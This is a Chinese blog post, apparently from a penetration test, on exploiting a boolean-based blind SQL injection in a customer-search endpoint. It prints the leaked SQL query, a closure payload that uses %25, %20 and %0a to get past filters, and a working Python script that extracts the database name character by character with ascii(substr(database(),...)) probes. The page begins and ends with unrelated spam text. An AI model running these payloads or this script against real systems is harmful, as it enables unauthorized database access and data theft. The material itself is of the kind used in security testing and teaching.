中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行布爾型盲注的PY交易分析

發布時間:2021-12-04 10:03:36 來源:億速云 閱讀:141 作者:柒染 欄目:網絡管理

今天就跟大家聊聊有關如何進行布爾型盲注的PY交易分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

經過上一篇的良好反饋,我正好在項目中發現了這個布爾型漏洞,就編寫了本篇文章,主體格式一樣,但內容針對不同,下次看看在弄個什么的PY交易好,讓我再想想。

確定問題點

在這次的測試過程中發現了一個注入點,通過測試發現返回包內包含了sql語句,確認可以注入,開始了這次的注入嘗試。

首先我們可以確認這是一個GET型數據調用,本以為是簡單的報錯注入,應該可以直接利用sqlmap進行漏洞的利用,但現實狠狠的給了我一個耳光。sqlmap根本法利用這個漏洞,但返回的數據包中實打實出現我數據庫語句,所以我把返回的數據庫語句拿出來,開始了一點點的構造進程。

如何進行布爾型盲注的PY交易分析

復制出來的數據庫語句:

SELECT count(0) FROM customer c WHERE c.dealership_id = ? AND c.active = true AND (c.full_name LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number_sub1 LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number_sub2 LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%')

二、測試命令語句

經過實驗,發現報錯內容不同,可說明與參數確實可以影響數據庫語句。但返回的內容需要進行閉合而且返回內容不可以利用,所以可以排除報錯等類型注入形式,可以探測的注入類型就僅剩下兩種了:時間型盲注,布爾型盲注直接在目標后加入測試語句。

構造數據庫語句:

%'){測試語句}AND(c. full_name like '%test

返回成功,實現語句閉合(此外利用了數據庫模糊查詢like %%),在測試過種發現存在過濾,單獨%無法通過,空格無法通過,系統會返回404,針對之前爆出的數據庫語句,利用%25和%20繞過對對單獨%和空格的過濾構造出以上的數據庫語句完成語句的閉合,成功返回200,確認可以返回正常數據包,并可以根據數據庫語句的正確來進行布爾型盲注測試。

如何進行布爾型盲注的PY交易分析

接下來確認測試語句

27)and%0a(ascii(substr(database(),{1},1))={0})%0aAND(c.full_name%0alike%0a%27%25test

按位截取的形式進行匹配,確認數據庫名稱

三、工具思路

3.1 Post數據包利用

利用python的數據包發送來批量測試目標內容

和時間型盲注不同,布爾型盲注要根據返回數據包的不同來確認問題

%0a(ascii(substr(database(),{1},1))={0})%0a

利用find函數來查找返回的數據特征,判斷是否成功得到注入數據

# coding:utf-8
import requests
import datetime
import time

headers = {
    頭信息,自己添加
}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789@_.' 
database = ''
for j in range(1,11):
    for i in range(49,125):
        Url = 'https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxx/find?pageNo=1&pageSize=20&searchWord=1%25%27)and%0a(ascii(substr(database(),{1},1))={0})%0aAND(c.full_name%0alike%0a%27%25test'
        UrlFormat = Url.format(i,j)      #format()函數使用
        r = requests.get(UrlFormat,headers=headers)
        d = r.content.find("Test")       #利用find函數來查找返回的數據特征,判斷是否成功得到注入數據
        if d != -1:
            print(i)
            print chr(i)
            database += chr(i)
            print database
            break
        else:
            pass

四、以后的想法

對于代碼的未來,有如下的想法

1.加入數據包直接調用的功能

2.針對0值永真的修改

3.進行線程上的優化

4.編寫GET方法的代碼

5.進行整體代碼的邏輯重構(這個是吹NB)

看完上述內容,你們對如何進行布爾型盲注的PY交易分析有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

py
AI

华安县| 文成县| 巴南区| 苏尼特右旗| 鹿邑县| 平昌县| 罗定市| 克山县| 合江县| 曲靖市| 营口市| 奉化市| 莎车县| 象州县| 荔波县| 新河县| 瑞安市| 勐海县| 乳源| 上杭县| 东源县| 博客| 治多县| 盐池县| 瑞丽市| 绵阳市| 曲水县| 美姑县| 城口县| 老河口市| 阳新县| 旌德县| 乌拉特前旗| 卢湾区| 涿州市| 余庆县| 盐城市| 错那县| 西乌珠穆沁旗| 延庆县| 九龙坡区|